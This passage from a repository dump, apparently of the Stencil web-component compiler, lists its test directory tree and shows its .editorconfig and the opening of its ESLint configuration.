│ │ │ │ └── todo-item/
│ │ │ │ └── todo-item.tsx
│ │ │ ├── components.d.ts
│ │ │ ├── global/
│ │ │ │ └── app.css
│ │ │ └── index.html
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── type-tests/
│ │ ├── README.md
│ │ ├── test.spec.tsx
│ │ └── tsconfig.json
│ └── wdio/
│ ├── .gitignore
│ ├── README.md
│ ├── async-rerender/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-basic/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-boolean/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-complex/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-deserializer/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-host/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-html/
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── auto-loader/
│ │ ├── auto-loader-child.tsx
│ │ ├── auto-loader-dynamic.tsx
│ │ ├── auto-loader-root.tsx
│ │ ├── cmp.test.tsx
│ │ ├── components.d.ts
│ │ ├── perf-dist.test.tsx
│ │ └── perf.test.tsx
│ ├── auto-loader.stencil.config.ts
│ ├── build-data/
│ │ ├── build-data.tsx
│ │ └── cmp.test.tsx
│ ├── child-load-failure/
│ │ ├── cmp-child-fail.tsx
│ │ ├── cmp-parent.tsx
│ │ └── cmp.test.tsx
│ ├── clone-node/
│ │ ├── cmp-root.tsx
│ │ ├── cmp-slide.tsx
│ │ ├── cmp-text.tsx
│ │ └── cmp.test.tsx
│ ├── complex-properties/
│ │ ├── __snapshots__/
│ │ │ └── cmp.test.tsx.snap
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── computed-properties-prop-decorator/
│ │ ├── cmp-reflect.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── computed-properties-state-decorator/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── computed-properties-watch-decorator/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── conditional-basic/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── conditional-rerender/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── cross-document-constructed-styles/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── css-variables/
│ │ ├── cmp-no-encapsulation.css
│ │ ├── cmp-no-encapsulation.tsx
│ │ ├── cmp-shadow-dom.css
│ │ ├── cmp-shadow.tsx
│ │ ├── cmp.test.tsx
│ │ └── variables.css
│ ├── custom-elements-delegates-focus/
│ │ ├── cmp.test.tsx
│ │ ├── custom-elements-delegates-focus.tsx
│ │ ├── custom-elements-no-delegates-focus.tsx
│ │ └── shared-delegates-focus.css
│ ├── custom-elements-hierarchy-lifecycle/
│ │ ├── cmp-child.tsx
│ │ ├── cmp-parent.tsx
│ │ ├── cmp-util.ts
│ │ └── cmp.test.tsx
│ ├── custom-elements-output/
│ │ ├── cmp.test.tsx
│ │ ├── custom-element-child.tsx
│ │ ├── custom-element-nested-child.tsx
│ │ └── custom-element-root.tsx
│ ├── custom-elements-output-tag-class-different/
│ │ ├── cmp.test.tsx
│ │ ├── custom-element-child.tsx
│ │ └── custom-element-root.tsx
│ ├── custom-event/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── custom-states/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── declarative-shadow-dom/
│ │ ├── cmp-svg.test.tsx
│ │ ├── cmp-svg.tsx
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── page-list-item.css
│ │ ├── page-list-item.tsx
│ │ ├── page-list.css
│ │ ├── page-list.test.ts
│ │ └── page-list.tsx
│ ├── delegates-focus/
│ │ ├── cmp.test.tsx
│ │ ├── delegates-focus.css
│ │ ├── delegates-focus.tsx
│ │ └── no-delegates-focus.tsx
│ ├── dom-reattach/
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── dom-reattach-clone/
│ │ ├── cmp-deep-slot.tsx
│ │ ├── cmp-host.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── dynamic-css-variables/
│ │ ├── cmp.css
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── dynamic-imports/
│ │ ├── cmp.test.tsx
│ │ ├── dynamic-import.tsx
│ │ ├── module1.tsx
│ │ ├── module2.tsx
│ │ └── module3.tsx
│ ├── es5-addclass-svg/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── esm-import/
│ │ ├── cmp-hydrated.test.tsx
│ │ ├── cmp.test.tsx
│ │ ├── esm-import.css
│ │ └── esm-import.tsx
│ ├── event-basic/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── event-custom-type/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── event-listener-capture/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── event-re-register.css
│ │ ├── event-re-register.test.tsx
│ │ └── event-re-register.tsx
│ ├── exclude-component/
│ │ ├── exclude-component-root.tsx
│ │ ├── exclude-component.test.tsx
│ │ └── excluded-component.tsx
│ ├── external-imports/
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ ├── cmp-c.tsx
│ │ ├── cmp.test.tsx
│ │ ├── external-data.ts
│ │ └── external-store.ts
│ ├── form-associated/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── prop-check.test.tsx
│ │ └── prop-check.tsx
│ ├── global-script/
│ │ ├── README.md
│ │ ├── components.d.ts
│ │ ├── dist-cmp.tsx
│ │ ├── global-script.test.tsx
│ │ ├── global.ts
│ │ ├── index.html
│ │ └── test-cmp.tsx
│ ├── global-script.stencil.config.ts
│ ├── global-styles/
│ │ ├── global-styles.test.tsx
│ │ └── global-styles.tsx
│ ├── global.ts
│ ├── host-attr-override/
│ │ ├── host-attr-override.test.tsx
│ │ └── host-attr-override.tsx
│ ├── image-import/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── import-aliasing/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── index.ts
│ ├── init-css-shim/
│ │ ├── cmp-root.css
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── input-basic/
│ │ ├── cmp-root.test.tsx
│ │ └── cmp-root.tsx
│ ├── invisible-prehydration/
│ │ ├── cmp.tsx
│ │ ├── components.d.ts
│ │ ├── index.html
│ │ └── invisible-prehydration.test.tsx
│ ├── invisible-prehydration.stencil.config.ts
│ ├── json-basic/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ └── data.json
│ ├── key-reorder/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── lifecycle-async/
│ │ ├── cmp-a.test.tsx
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ ├── cmp-c.tsx
│ │ └── util.ts
│ ├── lifecycle-basic/
│ │ ├── cmp-a.test.tsx
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ └── cmp-c.tsx
│ ├── lifecycle-nested/
│ │ ├── cmp-a.test.tsx
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ ├── cmp-c.tsx
│ │ └── output.ts
│ ├── lifecycle-unload/
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ ├── cmp-root.test.tsx
│ │ └── cmp-root.tsx
│ ├── lifecycle-update/
│ │ ├── cmp-a.test.tsx
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ └── cmp-c.tsx
│ ├── listen-jsx/
│ │ ├── cmp-root.test.tsx
│ │ ├── cmp-root.tsx
│ │ └── cmp.tsx
│ ├── listen-reattach/
│ │ ├── cmp-a.test.tsx
│ │ └── cmp-a.tsx
│ ├── listen-window/
│ │ ├── cmp-a.test.tsx
│ │ └── cmp-a.tsx
│ ├── manual-slot-assignment/
│ │ ├── cmp.test.tsx
│ │ ├── manual-slot-filter.tsx
│ │ └── manual-slot-tabs.tsx
│ ├── no-external-runtime/
│ │ ├── components.d.ts
│ │ └── custom-elements-form-associated/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── no-external-runtime.stencil.config.ts
│ ├── node-resolution/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ ├── module/
│ │ │ └── index.ts
│ │ └── module.ts
│ ├── package.json
│ ├── prefix-attr/
│ │ ├── cmp-nested.tsx
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── prefix-prop/
│ │ ├── cmp-nested.tsx
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── prerender-test/
│ │ └── cmp.test.tsx
│ ├── prerender.stencil.config.ts
│ ├── property-serializer/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── radio-group-blur/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── radio-group.css
│ │ ├── radio.css
│ │ ├── test-radio-group.tsx
│ │ ├── test-radio.tsx
│ │ └── utils.ts
│ ├── ref-attr-order/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── reflect-nan-attribute/
│ │ ├── reflect-nan-attribute.test.tsx
│ │ └── reflect-nan-attribute.tsx
│ ├── reflect-nan-attribute-hyphen/
│ │ ├── cmp.test.tsx
│ │ └── reflect-nan-attribute-hyphen.tsx
│ ├── reflect-nan-attribute-with-child/
│ │ ├── child-reflect-nan-attribute.tsx
│ │ ├── cmp.test.tsx
│ │ └── parent-reflect-nan-attribute.tsx
│ ├── reflect-single-render/
│ │ ├── child-with-reflection.tsx
│ │ ├── cmp.test.tsx
│ │ └── parent-with-reflect-child.tsx
│ ├── reflect-to-attr/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── remove-child-patch/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── render/
│ │ └── render.test.tsx
│ ├── reparent-style/
│ │ ├── cmp.test.tsx
│ │ ├── reparent-style-no-vars.css
│ │ ├── reparent-style-no-vars.tsx
│ │ ├── reparent-style-with-vars.css
│ │ └── reparent-style-with-vars.tsx
│ ├── scoped-add-remove-classes/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-basic/
│ │ ├── cmp-root-md.css
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-conditional/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-id-in-nested-classname/
│ │ ├── cmp-level-1.scss
│ │ ├── cmp-level-1.tsx
│ │ ├── cmp-level-2.scss
│ │ ├── cmp-level-2.tsx
│ │ ├── cmp-level-3.scss
│ │ ├── cmp-level-3.tsx
│ │ └── cmp.test.tsx
│ ├── scoped-slot-append-and-prepend/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-assigned-methods/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-child-insert-adjacent/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-children/
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── scoped-slot-connectedcallback/
│ │ ├── cmp-child.tsx
│ │ ├── cmp-middle.tsx
│ │ ├── cmp-parent.tsx
│ │ ├── cmp.test.tsx
│ │ └── custom-element.html
│ ├── scoped-slot-content-hide/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-in-slot/
│ │ ├── child.tsx
│ │ ├── cmp.test.tsx
│ │ ├── host.tsx
│ │ └── parent.tsx
│ ├── scoped-slot-insertbefore/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-insertion-order-after-interaction/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-slotchange/
│ │ ├── cmp-wrap.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-slotted-parentnode/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-text/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-text-with-sibling/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── serialize-deserialize-e2e/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── setup.ts
│ ├── shadow-dom-array/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── shadow-dom-basic/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── shadow-dom-mode/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── mode-blue.css
│ │ └── mode-red.css
│ ├── shadow-dom-slot-nested/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── shared-jsx/
│ │ ├── bad-shared-jsx.tsx
│ │ ├── cmp.test.tsx
│ │ └── factory-jsx.tsx
│ ├── slot-array-basic/
│ │ ├── cmp.css
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-array-complex/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-array-top/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-basic/
│ │ ├── cmp-root.test.tsx
│ │ ├── cmp-root.tsx
│ │ └── cmp.tsx
│ ├── slot-basic-order/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-children/
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── slot-conditional-rendering/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-dynamic-name-change/
│ │ ├── cmp-scoped.tsx
│ │ ├── cmp-shadow.tsx
│ │ └── cmp.test.tsx
│ ├── slot-dynamic-wrapper/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-fallback/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-fallback-with-forwarded-slot/
│ │ ├── child-component.tsx
│ │ ├── cmp.test.tsx
│ │ └── parent-component.tsx
│ ├── slot-fallback-with-textnode/
│ │ ├── cmp-avatar.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-hide-content/
│ │ ├── cmp-open.tsx
│ │ ├── cmp-scoped.tsx
│ │ └── cmp.test.tsx
│ ├── slot-html/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-light-dom/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-map-order/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-nested-default-order/
│ │ ├── cmp-child.tsx
│ │ ├── cmp-parent.tsx
│ │ └── cmp.test.tsx
│ ├── slot-nested-dynamic/
│ │ ├── cmp-child.tsx
│ │ ├── cmp-parent.tsx
│ │ ├── cmp-wrapper.tsx
│ │ └── cmp.test.tsx
│ ├── slot-nested-order/
│ │ ├── cmp-child.tsx
│ │ ├── cmp-parent.tsx
│ │ └── cmp.test.tsx
│ ├── slot-ng-if/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ └── index.html
│ ├── slot-no-default/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-none/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-parent-tag-change/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-reorder/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-replace-wrapper/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-scoped-list/
│ │ ├── dynamic-scoped-list-cmp.tsx
│ │ ├── list-cmp.tsx
│ │ ├── root-cmp.test.tsx
│ │ └── root-cmp.tsx
│ ├── slot-shadow-list/
│ │ ├── dynamic-shadow-list-cmp.tsx
│ │ ├── list-cmp.tsx
│ │ ├── root-cmp.test.tsx
│ │ └── root-cmp.tsx
│ ├── slotted-css/
│ │ ├── cmp.css
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── src/
│ │ └── components.d.ts
│ ├── ssr-hydration/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── custom-element.html
│ │ ├── order-cmp.tsx
│ │ ├── order-wrap-cmp.tsx
│ │ ├── part-cmp.tsx
│ │ ├── part-wrap-cmp.tsx
│ │ ├── scoped-child-cmp.tsx
│ │ ├── scoped-parent-cmp.tsx
│ │ ├── shadow-child-cmp.tsx
│ │ ├── shadow-parent-cmp.tsx
│ │ ├── slow-prop.tsx
│ │ └── wrap-cmp.tsx
│ ├── static-members/
│ │ ├── README.md
│ │ ├── static-decorated-members.tsx
│ │ ├── static-members-separate-export.tsx
│ │ ├── static-members-separate-initializer.tsx
│ │ ├── static-members.test.tsx
│ │ └── static-members.tsx
│ ├── static-styles/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── stencil-sibling/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── stencil.config-es2022.ts
│ ├── stencil.config.ts
│ ├── style-plugin/
│ │ ├── bar.scss
│ │ ├── cmp.test.tsx
│ │ ├── css-cmp.tsx
│ │ ├── css-entry.css
│ │ ├── css-importee.css
│ │ ├── foo.scss
│ │ ├── global-css-entry.css
│ │ ├── global-sass-entry.scss
│ │ ├── multiple-styles.tsx
│ │ ├── sass-bootstrap.scss
│ │ ├── sass-cmp.tsx
│ │ ├── sass-entry.scss
│ │ └── sass-importee.scss
│ ├── svg-attr/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── svg-class/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── tag-names/
│ │ ├── cmp-tag-3d.tsx
│ │ ├── cmp-tag-88.tsx
│ │ └── cmp.test.tsx
│ ├── tag-transform/
│ │ ├── child-tag-transform.tsx
│ │ ├── custom-element.html
│ │ ├── parent-tag-transform.css
│ │ ├── parent-tag-transform.tsx
│ │ ├── tag-transform.test.tsx
│ │ └── tag-transformer.ts
│ ├── tag-transformer.ts
│ ├── template-render/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── test-end-to-end-import.mjs
│ ├── test-prerender/
│ │ ├── no-script-build.js
│ │ ├── package.json
│ │ ├── prerender.config.js
│ │ ├── prerender.js
│ │ └── src/
│ │ ├── components/
│ │ │ ├── app-root/
│ │ │ │ ├── app-root.css
│ │ │ │ └── app-root.tsx
│ │ │ ├── cmp-a/
│ │ │ │ ├── cmp-a.css
│ │ │ │ └── cmp-a.tsx
│ │ │ ├── cmp-b/
│ │ │ │ ├── cmp-b.css
│ │ │ │ └── cmp-b.tsx
│ │ │ ├── cmp-c/
│ │ │ │ ├── cmp-c.css
│ │ │ │ └── cmp-c.tsx
│ │ │ ├── cmp-client-scoped/
│ │ │ │ ├── cmp-client-scoped.css
│ │ │ │ └── cmp-client-scoped.tsx
│ │ │ ├── cmp-client-shadow/
│ │ │ │ ├── cmp-client-shadow.css
│ │ │ │ └── cmp-client-shadow.tsx
│ │ │ ├── cmp-d/
│ │ │ │ ├── cmp-d.css
│ │ │ │ └── cmp-d.tsx
│ │ │ ├── cmp-scoped-a/
│ │ │ │ ├── cmp-scoped-a.css
│ │ │ │ └── cmp-scoped-a.tsx
│ │ │ ├── cmp-scoped-b/
│ │ │ │ ├── cmp-scoped-b.css
│ │ │ │ └── cmp-scoped-b.tsx
│ │ │ ├── cmp-text-blue/
│ │ │ │ ├── cmp-text-blue.css
│ │ │ │ └── cmp-text-blue.tsx
│ │ │ ├── cmp-text-green/
│ │ │ │ ├── cmp-text-green.css
│ │ │ │ └── cmp-text-green.tsx
│ │ │ └── hydrate-svg/
│ │ │ └── hydrate-svg.tsx
│ │ ├── components.d.ts
│ │ ├── global/
│ │ │ ├── app.css
│ │ │ └── util.ts
│ │ └── index.html
│ ├── test-sibling/
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components.d.ts
│ │ │ ├── global.ts
│ │ │ ├── sibling-abstract-mixin/
│ │ │ │ └── sibling-abstract-mixin.ts
│ │ │ ├── sibling-extended/
│ │ │ │ └── sibling-extended.tsx
│ │ │ ├── sibling-extended-base/
│ │ │ │ └── sibling-extended-base.tsx
│ │ │ ├── sibling-root/
│ │ │ │ └── sibling-root.tsx
│ │ │ └── sibling-with-mixin/
│ │ │ ├── mixin-factory.ts
│ │ │ └── sibling-with-mixin.tsx
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── text-content-patch/
│ │ ├── cmp-scoped-slot.tsx
│ │ ├── cmp-scoped.tsx
│ │ └── cmp.test.tsx
│ ├── ts-target/
│ │ ├── components.d.ts
│ │ ├── extends-abstract/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── mixin-class.ts
│ │ │ └── mxin-class-parent.ts
│ │ ├── extends-cmp/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── extended-cmp-cmp.tsx
│ │ │ └── extended-cmp.tsx
│ │ ├── extends-composition-scaling/
│ │ │ ├── checkbox-group-cmp.tsx
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── focus-controller.ts
│ │ │ ├── radio-group-cmp.tsx
│ │ │ ├── reactive-controller-host.ts
│ │ │ ├── text-input-cmp.tsx
│ │ │ └── validation-controller.ts
│ │ ├── extends-conflicts/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── conflicts-base.ts
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-controller-updates/
│ │ │ ├── clock-controller-base.ts
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-direct-state/
│ │ │ ├── clock-base.ts
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-events/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── event-base.ts
│ │ ├── extends-external/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-external-abstract/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-external-with-mixin/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-inheritance-scaling/
│ │ │ ├── checkbox-group-cmp.tsx
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── focus-controller-base.ts
│ │ │ ├── focus-controller-mixin.ts
│ │ │ ├── form-field-base.ts
│ │ │ ├── radio-group-cmp.tsx
│ │ │ ├── text-input-cmp.tsx
│ │ │ ├── validation-controller-base.ts
│ │ │ └── validation-controller-mixin.ts
│ │ ├── extends-lifecycle-basic/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── lifecycle-base.ts
│ │ ├── extends-lifecycle-multilevel/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── grandparent-base.ts
│ │ │ └── parent-base.ts
│ │ ├── extends-local/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-methods/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── method-base.ts
│ │ ├── extends-mixed-decorators/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── mixed-decorators-base.ts
│ │ ├── extends-mixin/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── mixin-a.tsx
│ │ │ └── mixin-b.tsx
│ │ ├── extends-mixin-slot/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── slot-mixin.tsx
│ │ ├── extends-props-state/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── props-state-base.ts
│ │ ├── extends-render/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── render-base.tsx
│ │ ├── extends-test-suite.test.ts
│ │ ├── extends-via-host/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── mouse-controller.ts
│ │ │ └── reactive-controller-host.ts
│ │ ├── extends-watch/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── watch-base.ts
│ │ └── ts-target-props/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── es2022.custom-element.html
│ │ └── es2022.dist.html
│ ├── tsconfig-auto-loader.json
│ ├── tsconfig-es2022.json
│ ├── tsconfig-global-script.json
│ ├── tsconfig-invisible-prehydration.json
│ ├── tsconfig-no-external-runtime.json
│ ├── tsconfig-prerender.json
│ ├── tsconfig-stencil.json
│ ├── tsconfig.json
│ ├── util.ts
│ ├── watch-native-attributes/
│ │ ├── cmp-no-members.test.tsx
│ │ ├── cmp-no-members.tsx
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ └── custom-tag-name.test.tsx
│ └── wdio.conf.ts
├── test-form-associated.js
├── tsconfig.json
└── types/
├── ionic-prettier-config.d.ts
└── merge-source-map.d.ts
================================================
FILE CONTENTS
================================================
================================================
FILE: .editorconfig
================================================
# http://editorconfig.org
root = true
[*]
charset = utf-8
indent_style = space
indent_size = 2
end_of_line = lf
insert_final_newline = true
trim_trailing_whitespace = true
[*.md]
insert_final_newline = false
trim_trailing_whitespace = false
================================================
FILE: .eslintrc.js
================================================
module.exports = {
root: true,
parser: '@typescript-eslint/parser',
plugins: ['@typescript-eslint', 'jsdoc', 'jest', 'simple-import-sort', 'wdio'],
extends: [
'plugin:jest/recommended',
// including prettier here ensures that we don't set any rules which will conflict
// with Prettier's formatting. Keep it last in the list so that nothing else messes
// with it!
'prettier',
],
rules: {
'@typescript-eslint/no-unused-vars': [
'error',
{
argsIgnorePattern: '^_',
// TODO(STENCIL-452): Investigate using eslint-plugin-react to remove the need for varsIgnorePattern
varsIgnorePattern: '^(h|Fragment)$',
},
],
/**
* Configuration for Jest rules can be found here:
* https://github.com/jest-community/eslint-plugin-jest/tree/main/docs/rules
*/
'jest/expect-expect': [
'error',
{
// we set this to `expect*` so that any function whose name starts with expect will be counted
// as an assertion function, allowing us to use functions to DRY up test suites.
assertFunctionNames: ['expect*'],
},
],
// we...have a number of things disabled :)
// TODO(STENCIL-488): Turn this rule back on once there are no violations of it remaining
'jest/no-disabled-tests': ['off'],
// we use this in enough places that we don't want to do per-line disables
'jest/no-conditional-expect': ['off'],
// this enforces that Jest hooks (e.g. `beforeEach`) are declared in test files in their execution order
// see here for details: https://github.com/jest-community/eslint-plugin-jest/blob/main/docs/rules/prefer-hooks-in-order.md
'jest/prefer-hooks-in-order': ['warn'],
// this enforces that Jest hooks (e.g. `beforeEach`) are declared at the top of `describe` blocks
'jest/prefer-hooks-on-top': ['warn'],
/**
* Configuration for the JSDoc plugin rules can be found at:
* https://github.com/gajus/eslint-plugin-jsdoc
*/
// validates that the name immediately following `@param` matches the parameter name in the function signature
// this works in conjunction with "jsdoc/require-param"
'jsdoc/check-param-names': [
'error',
{
// if `checkStructured` is `true`, it asks that the JSDoc describe the fields being destructured.
// turn this off to not leak function internals/discourage describing them
checkDestructured: false,
},
],
